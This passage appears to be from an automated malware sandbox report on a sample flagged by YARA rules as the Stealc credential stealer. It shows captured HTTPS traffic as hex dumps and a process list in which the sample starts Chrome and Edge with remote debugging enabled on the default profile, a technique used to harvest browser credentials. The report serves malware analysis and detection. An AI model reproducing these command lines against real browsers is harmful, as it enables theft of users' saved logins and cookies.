2024-11-13 13:41:34 UTC	7952	IN	Data Raw: 4a 96 c4 8e 60 f7 a6 70 c6 b9 ba da c7 d4 3e 4c 09 36 e7 92 95 e9 f4 c8 3c 73 df a1 0a 46 bf a0 0f 25 de 9f 8f c3 99 b6 ed 39 f0 50 bd 3f ab 76 89 87 89 8c cd 42 6f 73 8f b2 75 79 7b 0d 42 3d 3f a7 2d 71 12 ec af d9 55 e2 c4 97 df cd d1 77 7d 49 fe f5 b8 98 e1 39 89 f2 93 c6 6d cd 70 b0 bf 41 f1 a8 d7 09 88 3c f2 34 3c 42 ce 33 8b ee d6 4f 5b e9 5a e2 43 45 41 ad 62 33 ea 12 ff 00 d9 6a 89 00 3a 99 01 45 27 d0 bd 8f 04 b4 83 e4 b1 cf b2 ab cb fa c7 93 ac e2 72 f0 58 93 79 2d ae 8f a4 71 70 83 1d 1d 91 e9 1f 65 e8 de 3f b8 f4 e6 c7 13 47 31 d1 79 ef 46 5b 13 df c2 93 45 df f5 9a ce d2 d2 69 6d b1 08 ea 54 bd af c3 a9 e8 b5 be 3e 88 fe 4c f2 bd b9 82 3c 6e a7 47 e8 bc 0f a3 f5 6f 6b a4 12 0d 3a 2f 6f a1 ac 35 85 e0 3b bd 66 cd 31 7d c6 80 46 e8 52 ed 3a f9 Data Ascii: J`p>L6<sF%9P?vBosuy{B=?-qUw}I9mpA<4<B3O[ZCEAb3j:E'rXy-qpe?G1yF[EimT>L<nGok:/o5;f1}FR:
2024-11-13 13:41:34 UTC	16384	IN	Data Raw: 93 33 94 fb f7 4e c5 43 cb 62 a3 a8 36 ed 3d c5 04 71 f7 ef 75 93 ef df d5 04 af 88 5d 22 07 08 f1 8c 94 63 73 7a f7 ac 98 e1 dd f2 e5 d8 b4 bc 18 90 0f 87 b2 81 0e fd eb 1d 07 28 4d 3e fe 69 5c 5a 62 44 70 fb 2a 85 86 ef f4 59 84 67 96 de fb 90 8b 86 52 b2 56 90 c7 b5 58 04 2c 99 43 a1 d9 02 1b 74 55 3c ef ef e4 94 b5 b9 59 69 92 c1 da 55 58 41 19 ac 41 4f 14 aa d5 64 14 1e 15 6a a9 84 af 63 e7 31 11 ad 95 a1 bb a2 e2 02 c1 46 96 c0 24 2e 4a 5c 86 83 49 94 aa aa 88 aa ad 09 80 40 a8 ec 64 94 cd d3 dd 10 b8 70 46 9a 69 6a 04 22 b1 ce 40 26 54 1a 4a 55 89 95 46 26 58 11 d8 cc 46 10 20 69 2a 5b 58 05 6f 9a 24 45 80 a2 19 30 b2 d9 9c e4 07 6a 13 69 41 25 24 ca a9 b3 13 29 55 5a ab 2d 5b 09 c0 94 48 e8 a3 45 88 b8 bf bc 94 86 36 d2 47 b2 b1 91 e2 a4 3a 40 ae Data Ascii: 3NCb6=qu]"csz(M>i\ZbDpYgRVX,CtU<YiUXAAOdjc1F$.J\I@dpFij"@&TJUF&XF i[Xo$E0jiA%$)UZ-[HE6G:@
2024-11-13 13:41:34 UTC	16384	IN	Data Raw: a6 31 92 7a 19 ae 67 6b 0f 92 47 bb 15 48 04 08 e6 06 67 39 2a fc 4c 56 d5 f3 0c a6 64 70 cc 78 ac fa af a3 91 69 d9 32 57 81 88 81 44 d1 4f 7e ec ba b8 1c 13 43 db c3 74 ec 27 f6 c9 e8 93 88 a5 bc 11 19 6f 31 cc 5a d7 b7 35 1a 17 e2 df 0b 83 76 06 29 ef ad d3 bf 4d b6 0d 34 bd 6b c3 ec 86 df 33 86 fc 04 78 a3 ea 34 40 75 c4 5a dc b3 9e de 4b 2d fc 01 84 b2 f0 6f 15 e0 ba fa 4f 73 5a 00 83 4b 19 83 cc 57 ea a3 69 3e 4b c5 43 80 06 b1 06 92 6f 9c 71 45 d4 d2 87 c4 e7 02 0c c7 02 2c 7b 56 6b 78 f1 cc 75 b1 fc 36 62 00 c6 a3 73 ce 49 9c c8 b7 48 5e 7b 56 d5 10 7b 78 5a 17 59 d6 d1 6d 41 89 9b 8e d1 be db ae 16 ab a5 e7 6b d8 52 38 6c b3 8b 59 d2 48 11 51 ee 2a 56 03 11 07 c1 2f 54 c0 8a c5 17 57 01 24 71 9c f8 7b b2 23 20 cc c5 c1 1c 0f 25 1c 53 c7 f5 53 b4 Data Ascii: 1zgkGHg9LVdpxi2WDO~Ct'o1Z5v)M4k3x4@uZK-oOsZKWi>KCoqE,{Vkxu6bsIH^{V{xZYmAkR8lYHQV/TW$q{# %SS
2024-11-13 13:41:34 UTC	7952	IN	Data Raw: 61 55 58 b5 05 55 62 d4 15 32 b0 b1 41 b5 44 6d 21 64 59 68 0a 34 d5 d1 69 86 d8 09 91 9d c4 70 b0 50 05 ec a7 c7 91 b5 bd a2 87 8c 0c b2 1b c2 cd 6e 04 46 1d a3 8c f7 28 ee 03 7a ee a4 38 8b db 28 f7 b2 88 63 82 a9 41 4a 9a 89 55 65 53 2c 5a 10 6c 6c b7 ad 92 f2 5a 2e 2a 81 9b 72 9f 0c f5 41 a2 34 84 56 ce 43 3a 8e ab ad a0 ef 29 07 8c 46 62 97 17 f7 75 c9 1f 90 af 0c d7 4f 4c 86 83 36 99 3d 6d 15 06 92 28 42 c5 6f 15 3c 26 2e 76 c9 44 73 70 99 ae 7d 0c fd 94 cc 25 e0 b8 48 88 e5 b1 26 8a 2b 8d a2 2e 77 af 6f 7a 2d 44 30 4a 12 23 8d ca 1c 2d b9 b5 3c de 7b ba 24 94 c2 c8 86 8e 94 f7 45 40 24 1a db dd 82 a0 d6 c2 f6 be 5d 46 df 55 4f 0e 05 14 61 76 9a 15 d2 f4 a3 03 89 13 31 13 52 2f 5c ea 2c b9 4c b7 cd 76 bd 3f e2 f8 75 c9 0d da 26 b9 c8 e2 b9 de 9d 31 Data Ascii: aUXUb2ADm!dYh4ipPnF(z8(cAJUeS,ZllZ.*rA4VC:)FbuOL6=m(Bo<&.vDsp}%H&+.woz-D0J#-<{$E@$]FUOav1R/\,Lv?u&1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.7	49916	104.117.247.123	443	7948	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:34 UTC	634	OUT	GET /tenant/amp/entityid/AA11MZ4M.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-13 13:41:34 UTC	521	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Wed, 06 Nov 2024 00:56:26 GMT X-Datacenter: eastap X-ActivityId: ec5b56f3-1a3a-4614-99eb-3ac802eb1108 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA11MZ4M X-Source-Length: 114527 Content-Length: 114527 Cache-Control: public, max-age=170041 Expires: Fri, 15 Nov 2024 12:55:35 GMT Date: Wed, 13 Nov 2024 13:41:34 GMT Connection: close
2024-11-13 13:41:34 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-13 13:41:34 UTC	16384	IN	Data Raw: b6 22 26 79 a6 64 04 d3 74 02 41 94 82 74 a4 93 b9 57 bc 9c 11 8e 95 97 71 01 bd 70 96 69 75 45 dd 0b 96 ca bc ae d8 53 f3 3d c3 4f 04 d1 c2 1b fe eb e4 48 2e 28 8f a7 09 4f 81 dd 8a b5 a2 ce d5 46 53 08 32 d1 c8 df 29 90 08 8e 6c 84 6f 2e 38 20 db 4c b4 58 e8 ee 0f 89 3c 3d 40 e0 56 60 10 57 3f b9 8c cf 16 ba 75 e1 9d f6 f2 da 37 b8 fb af 09 c6 b2 a8 03 15 f3 cf 84 d7 97 31 9a 99 8e 85 f3 b9 61 71 7a 7e f6 3d eb e9 f0 f7 26 51 e3 ff 00 2d 97 69 e6 fa eb 5d 2a 3b 4c 0d 17 8e 6f 79 29 89 21 d2 a5 4b 2d 98 82 52 06 93 10 a0 18 12 19 40 01 d2 aa 50 00 14 a1 41 80 24 29 00 1d aa b0 80 0d 49 88 22 51 4e b0 42 eb 98 4c 24 2d ad 84 d0 10 08 dc ae 10 08 c0 11 98 1a a0 00 a8 59 f5 b8 90 d0 6f cd 0d 26 3b 08 b9 69 30 bd ad d4 af 17 c4 71 c3 40 7a 56 7a 76 e3 ed af Data Ascii: "&ydtAtWqpiuES=OH.(OFS2)lo.8 LX<=@V`W?u71aqz~=&Q-i]*;Loy)!K-R@PA$)I"QNBL$-Yo&;i0q@zVzv
2024-11-13 13:41:34 UTC	2888	IN	Data Raw: 4f a3 52 ed a8 d2 d7 0d c5 68 86 02 b9 b0 e1 a4 69 6a 59 cd ff 00 c7 68 57 a6 da ac a9 56 87 10 d2 72 d5 6b a6 e1 c6 1d fb b4 d8 e1 c9 7a fe 11 e0 87 33 16 11 3c 9c 24 11 b4 6a 39 85 d9 d4 8f 28 82 41 f8 75 5e 33 d7 c3 f1 ac fe ad 20 d2 2b b4 7f 4e bb 0c 80 e1 b1 e2 21 ed b6 06 16 f2 bb ae f3 ec 80 14 b9 00 05 2e 40 01 ca d0 00 72 a4 00 1c b9 00 07 2e 40 32 72 e4 03 20 ab 40 01 cb 90 00 12 14 00 16 b9 00 07 2e 40 01 4a d0 00 54 2e 40 01 d0 ad 00 05 2b 40 01 cb 90 00 72 e4 03 27 2b 40 01 4a d0 00 72 e4 00 6a 5c 80 41 ca d0 00 0a b4 00 14 ad 00 07 2e 40 01 cb 90 00 52 e4 00 1c ba 10 00 72 b4 00 1c b9 00 07 2a 84 00 16 b9 00 c9 ca d0 0c 29 72 01 07 2a 40 01 6a 90 0c 96 a9 00 c9 6a 90 0c 39 72 00 0a 56 99 00 e5 c8 00 39 52 64 02 d5 20 c0 5a a4 80 0b 5c 98 04 Data Ascii: ORhijYhWVrkz3<$j9(Au^3 +N!.@r.@2r @.@JT.@+@r'+@Jrj\A.@Rr)r@jj9rV9Rd Z\
2024-11-13 13:41:34 UTC	16384	IN	Data Raw: f2 c5 db dd 9e 19 a7 41 65 86 a5 13 4b 49 d6 49 53 dc 34 fe 9e c7 2c df 88 46 73 72 2c 3a d4 ac ad 89 71 88 4f 86 7b be 49 fd d5 af 4c ef 68 09 81 00 6f 54 3d 67 d3 a2 a1 d9 3d a1 f7 ec 26 cf 24 c6 81 ab 91 53 7c 13 37 b6 92 4f 31 4a 1b 38 de c1 23 ec bd a7 8b dd d1 3d 1d a9 84 80 00 08 4a 7b ae f8 23 5c 1b 22 d7 05 a9 39 f9 f2 68 a7 87 3a 71 4d 3e e9 84 e6 91 3b a3 2d d5 de cf 3f 55 a7 5b 59 4c a8 cc cb b6 6b 4c f1 af 2f 2d ca db 38 c2 a9 7b a9 0e b0 21 56 95 59 cb ce cb 1b a3 a9 d6 6d 56 1b 5c 2c b0 4b 1f 22 c0 d8 f4 ae 6e d5 ae 51 df 2f 54 73 61 93 e9 6c 23 c9 60 3a e5 1d 49 2d 7b 0d 36 6d 20 44 6d 85 e7 7f 75 3e 77 5e e7 f6 cf a2 37 35 10 38 97 96 90 0e 9d e9 6e 0e 24 82 d5 ae 33 6a 9a 61 ee 5d 22 ee f9 22 17 48 24 34 48 d7 c3 54 80 c7 d2 2e 9d 37 e2 Data Ascii: AeKIIS4,Fsr,:qO{ILhoT=g=&$S\|7O1J8#=J{#\"9h:qM>;-?U[YLkL/-8{!VYmV\,K"nQ/Tsal#`:I-{6m Dmu>w^758n$3ja]""H$4HT.7
2024-11-13 13:41:34 UTC	16384	IN	Data Raw: 02 97 c2 d4 11 c9 67 6e 8b 28 eb c6 79 6d 38 64 d3 75 20 2d aa 29 9b 8b a9 94 34 b8 f9 04 62 c0 d0 a5 16 cf 42 b9 51 b4 f4 c8 ab 10 ec 45 d3 22 ea c9 24 8e 6e 9d 17 32 aa 16 d3 dc 16 c7 96 eb a2 63 e9 cd f6 27 60 94 e5 4e 58 a5 b0 89 99 51 a9 35 d2 00 59 55 e5 67 9b 78 c7 0d f9 34 c8 94 79 48 e8 58 ce 13 b7 46 5c a9 1c 89 4d 5a ed 0c b4 d1 91 55 b0 54 aa 8d cc ba b1 e6 23 1a e2 cb 8a d3 2c 76 f3 75 9b 81 d2 14 ba a2 2d be 16 b0 39 af fb 1f 6e e3 e1 ab 48 0c 76 cb 15 93 25 b7 18 2c 72 9a ad ab a7 0c b7 34 c3 b3 d7 53 6e 3a c2 81 c2 f1 4d 7b 08 d1 d8 ae 6b 4e ce 5d 92 16 39 6e 24 b9 c4 ba de 93 d9 08 9f ea 13 37 d1 3f 2f 52 89 b7 9f 45 65 36 8b 27 6e f3 28 e7 35 bb 56 85 d9 cf cf aa fb f0 ac c5 e4 61 0b 83 75 ba 7a d1 5a 9d ee c3 d0 22 0f a8 fb 51 c0 fd 77 Data Ascii: gn(ym8du -)4bBQE"$n2c'`NXQ5YUgx4yHXF\MZUT#,vu-9nHv%,r4Sn:M{kN]9n$7?/REe6'n(5VauzZ"Qw
2024-11-13 13:41:34 UTC	7952	IN	Data Raw: e4 ef 27 d8 8a 0c 11 8e 83 c0 26 ce f2 92 94 8a e1 7f d2 3c 00 ea 54 5c 36 f5 a9 56 e1 da 5a a6 79 4e 38 8f e2 4b 19 7f 78 ed fa 2c f4 77 5e ab 96 09 2f a2 53 58 fc 0f 6a e6 d4 60 1f f2 0f 9e 84 27 66 ae 93 98 c7 b6 e2 ab 47 3f 6a ef 32 89 b4 d3 e7 98 7d 15 27 ab c4 be 70 74 78 18 ea 95 7f d7 61 f9 e4 84 d4 a6 07 fc 94 7a 11 7f f9 68 b7 b5 cb e1 b5 6b 48 15 2a 55 3a d5 61 e8 f6 22 7b c1 c5 87 90 f6 a7 cf ea fc 15 2a 2e af 7c 6d 2c a5 46 6d 5a 80 fb f4 fc 0a 38 6b b1 03 a0 7d 56 5c fe a9 f6 ad 2a e4 93 b6 36 7d 91 25 8e 35 9e 7f 5b 7c 0a 68 a4 d3 bf 93 42 cf e6 bd 35 f9 33 f9 a2 3d ef fd c3 f8 7d 8a 77 96 c6 ea d3 fe 55 3b bf ab f0 69 35 e8 ae 3d 18 dd fa d6 1b 84 e3 d9 ec 5a ce c9 1a 47 43 7f b4 b9 ec f1 74 5f a3 ae 5d 79 7e 2e 59 f5 fe 2c 6c bf 6b b1 4e Data Ascii: '&<T\6VZyN8Kx,w^/SXj`'fG?j2}'ptxazhkHU:a"{.\|m,FmZ8k}V\*6}%5[\|hB53=}wU;i5=ZGCt_]y~.Y,lkN
2024-11-13 13:41:34 UTC	16384	IN	Data Raw: d1 64 39 f9 4a da 64 e5 b7 4e 5c fd bf 37 a1 31 db d1 8a cb 1d 8e cc 24 2e ee b7 3e 3c cd bc 7f 86 f4 72 9a ba 6d 8a c1 65 ae 9e a6 0f 33 e1 bb 9a be 70 2b 2d 74 75 47 3b 83 e1 bb 9a 5e 66 f5 9a b7 ea 62 e2 e8 76 b4 bc c0 b3 56 fd 4c 1c 5d 0e d6 8f 9a 16 72 db a9 8b 8f e1 bb 13 fc d5 9f 2b 6e a6 2e 4f 86 eb d3 43 cd 59 d2 b5 ea 64 e4 f8 6e cd 27 0a b0 65 42 95 7d 48 73 74 3a 74 9e ee 28 ac e7 5d 57 56 91 58 7c 3b 7c dd 31 3c 71 6b 18 ab f8 8c 2b 92 fb 0f 46 36 7e f2 b0 57 47 5b 91 e7 7c 17 aa dc f3 d6 06 62 ba fa 9c 4f 2f e1 3d 6d 46 f7 9a b0 3c c2 bb ba 9c 1d 55 e5 74 3d 5e 98 df f3 02 c2 15 4a ef ea 70 f5 bc ae 87 a9 f0 de 8f 36 2b 11 95 b7 af 47 6e 29 9b c6 e9 7a 99 7b 6f 53 4e b8 fa af 3d e6 11 8a ef 99 6d c9 d4 f1 2e 16 3d 5e 87 b8 a3 c5 01 63 a1 b0 Data Ascii: d9JdN\71$.><rme3p+-tuG;^fbvVL]r+n.OCYdn'eB}Hst:t(]WVX\|;\|1<qk+F6~WG[\|bO/=mF<Ut=^Jp6+Gn)z{oSN=m.=^c
2024-11-13 13:41:34 UTC	16384	IN	Data Raw: b1 68 8f 8c d7 38 f0 fc fd 4b af 77 f4 fe 31 c7 f0 f1 f1 70 fc 39 eb 3e ce ef 8d 9c ba d4 45 cb 45 da d5 e2 cf fd ab 76 b9 39 dc 6f 11 5b 5a bc 30 1b fd ab a7 f7 7a 4f bf f8 63 26 13 f5 38 fa 70 f3 b9 5f 97 f9 75 5c f3 cb f4 80 52 e1 3f 55 5e 23 f8 43 7b 8f 5a 1c 85 c7 de a0 ff 00 b2 1c 1a 3c 46 55 a6 f3 f4 9f 72 ea 9e 3f 57 2c 9e d7 8f db fe 57 f0 ef 9f 4d f0 ec 78 67 c3 1b ef 54 ac ee 72 3a 93 59 4d ec 12 fe 1a 9e 5d b9 a7 a8 b8 a3 ab dc f2 90 ae 53 f5 d5 49 ec 7a e5 f6 ff 00 0a 98 59 df db 9a 58 a9 f0 f6 46 5a 6d 7c 7e e6 b9 dd eb 4e 99 81 e9 14 80 fb 3f 80 47 fe e5 ef c7 d3 4c 6f d6 fc c4 be d4 ed cf d7 6e cc 64 d7 13 1f 93 33 ef 40 9f e9 f0 d4 ce c8 a6 56 c3 f8 96 30 7a 9c df cc 40 5b ea f9 e7 94 f9 b9 74 e0 b6 6f 8f 6f 1b f2 7a 7b 9e 08 8c e2 38 c8 Data Ascii: h8Kw1p9>EEv9o[Z0zOc&8p_u\R?U^#C{Z<FUr?W,WMxgTr:YM]SIzYXFZm\|~N?GLond3@V0z@[tooz{8
2024-11-13 13:41:34 UTC	5904	IN	Data Raw: 9c de 40 90 3a 16 5f 96 e6 1f 7a 3a 7b d5 ca 53 16 37 1d f9 e9 59 64 94 f7 4b a3 cc 24 6b ea 07 ea 96 d6 d4 c1 e0 f5 f2 85 45 63 1d 79 6f 6a 99 78 18 0b 20 82 e7 12 74 b1 b7 8b 8a 8e 5a e0 08 31 b6 e1 3d 96 93 d3 5a 75 78 24 30 b1 90 73 07 1c 0c 12 7b 54 50 c2 64 c0 1c 95 5a 96 78 e3 ae fd da 0d cf 07 57 03 7d 9a 78 a2 02 f7 d9 b2 fd a9 ee 21 95 99 36 50 8d 5a f2 7f 2d ba 8a 61 60 c1 d7 e5 0b 5d ef c9 9e d8 f4 df 56 fa 11 ca e6 c9 7c ee 02 08 ec 43 96 23 51 d0 af 6c dc dd 36 f9 ba f4 93 49 ed 77 a4 37 4c 6c 0f 4e d4 b0 d0 1d 3a ca 76 92 30 c7 71 5e 69 4e 0c a8 f0 09 82 39 47 88 0b 38 b6 1e 23 d4 0e ec d0 aa 64 51 37 0d ae b6 1c e3 4c 46 59 d8 6d f3 d8 96 58 07 b8 ec 87 66 5e e3 29 cd 54 b2 cb 72 76 db 4d 7a 05 99 bf 50 99 fd ba f6 2a 69 70 3f a4 9d ed 6f Data Ascii: @:_z:{S7YdK$kEcyojx tZ1=Zux$0s{TPdZxW}x!6PZ-a`]V\|C#Ql6Iw7LlN:v0q^iN9G8#dQ7LFYmXf^)TrvMzP*ip?o

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.7	49912	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:34 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:34 UTC	517	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:34 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 1deec605-401e-0029-2fd2-2c9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134134Z-16547b76f7fcrtpchC1DFW52e80000000h5000000000fqdd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:34 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.7	49878	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:34 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:34 UTC	517	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:34 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 2ce7ce6f-901e-002a-1fd2-2c7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134134Z-16547b76f7fknvdnhC1DFWxnys0000000h6g00000000d2s9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:34 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Target ID:	1
Start time:	08:41:02
Start date:	13/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xda0000
File size:	1'758'720 bytes
MD5 hash:	2C013C5F9FC0492F1E14CA1D11B1D32D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000001.00000003.1271943212.0000000005570000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.1727423799.0000000000E6C000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000001.00000002.1729321166.000000000144E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000001.00000002.1727423799.0000000000DA1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	08:41:11
Start date:	13/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	08:41:13
Start date:	13/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2268 --field-trial-handle=2220,i,8398956944613471196,4517818318250730757,262144 /prefetch:8
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	08:41:21
Start date:	13/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	08:41:21
Start date:	13/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2400 --field-trial-handle=2240,i,9997244050873834229,8109525789655161871,262144 /prefetch:3
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	08:41:22
Start date:	13/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
